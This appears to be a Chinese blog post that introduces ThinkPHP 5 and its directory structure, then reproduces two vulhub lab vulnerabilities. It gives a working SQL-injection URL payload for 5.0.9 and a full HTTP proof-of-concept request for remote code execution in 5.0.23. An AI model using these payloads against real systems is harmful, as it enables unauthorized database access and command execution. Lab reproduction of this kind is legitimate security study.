THIS IS B3c0me

记录生活中的点点滴滴

0%

Thinkphp

1、简介

php适合快速开发Web接口,其语法的简单和开发的速度拥有不少使用者,之前一度抢占编程语言前5。随着快速发展,也出现不少优秀框架,比较著名的有ThinkPHP,Laravel,Yii。

框架选择

  • ThinkPHP易上手,国内开发文档丰富,社区活跃;但目录结构不太整洁,深入不叫困难,适合中小型项目。
  • Laravel结构清晰,功能齐全,工具丰富,社区强大,但入门困难;文件较多,相对臃肿。适合中大型项目。
  • Yii OOP设计思想,使用方便,开发速度快,性能强大,功能丰富;大多英文文档,学习成本大,对技术要求高。适合中大型项目。

2、thinkphp5

Thinkphp5.0相对比较成熟稳定,官方地址:https://www.thinkphp.cn/down/framework.html

根目录说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
project  应用部署目录
├─composer.json composer定义文件
├─README.md README文件
├─build.php 自动生成定义文件(参考)
├─LICENSE.txt 授权说明文件
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─runtime 应用的运行时目录(可写,可设置)
│ ├─module 模块目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ ├─ ... 更多类库目录
│ ├─common.php 公共函数文件
│ ├─route.php 路由配置文件
│ ├─database.php 数据库配置文件
│ └─config.php 公共配置文件
├─public WEB部署目录(对外访问目录)
│ ├─index.php 应用入口文件
│ ├─.htaccess 用于apache的重写
│ └─router.php 快速测试文件(用于自带webserver)
├─thinkphp 框架系统目录
│ ├─library 框架类库目录
│ │ ├─behavior 行为类库目录
│ │ ├─think Think类库包目录
│ │ ├─org Org类库包目录
│ │ ├─traits 系统Traits目录
│ │ ├─ ... 更多类库目录
│ ├─extend 扩展类库目录(可自定义)
│ ├─vendor 第三方类库目录
│ ├─mode 应用模式目录
│ ├─tpl 系统模板目录
│ ├─base.php 基础文件
│ ├─convention.php 框架惯例配置文件
│ └─start.php 框架引导文件

漏洞

1.ThinkPHP5.0.9 Sql注入 && 敏感信息泄露

漏洞简介

在thinkphp5中,index页面的代码查询,使用了预编译的方法执行SQL,但是在用户输入的ID的值为一个SQL语句的情况下,在预编译执行的某一部会抛出异常,导致SQL注入。不过漏洞比较鸡肋,因为是使用的预编译执行SQL,所以id中输入的sql语句在执行时并不能接触数据,所以只能执行系统函数如use()等来查询数据库信息,而不能爆出数据库数据。

漏洞复现

  • 搭建漏洞环境

    1
    docker compose up -d
  • 漏洞利用

    访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出:

2.ThinkPHP 5.0.23 RCE漏洞

漏洞简介

由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行

影响范围: Thinkphp 5.x-Thinkphp 5.1.31,Thinkphp 5.0.x<=5.0.23

漏洞复现

  • POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    POST /index.php?s=captcha HTTP/1.1
    Host: localhost
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72

    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
  • 使用docker搭建漏洞环境

    1
    2
    3
    cd ../vulhub/thinkphp/5.0.23-rce

    docker-compose up -d
  • 访问8080端口的index.php,返回如下界面说明环境搭建成功。

  • 发送数据包:内容为上面的 POC:获取到id

欢迎关注我的其它发布渠道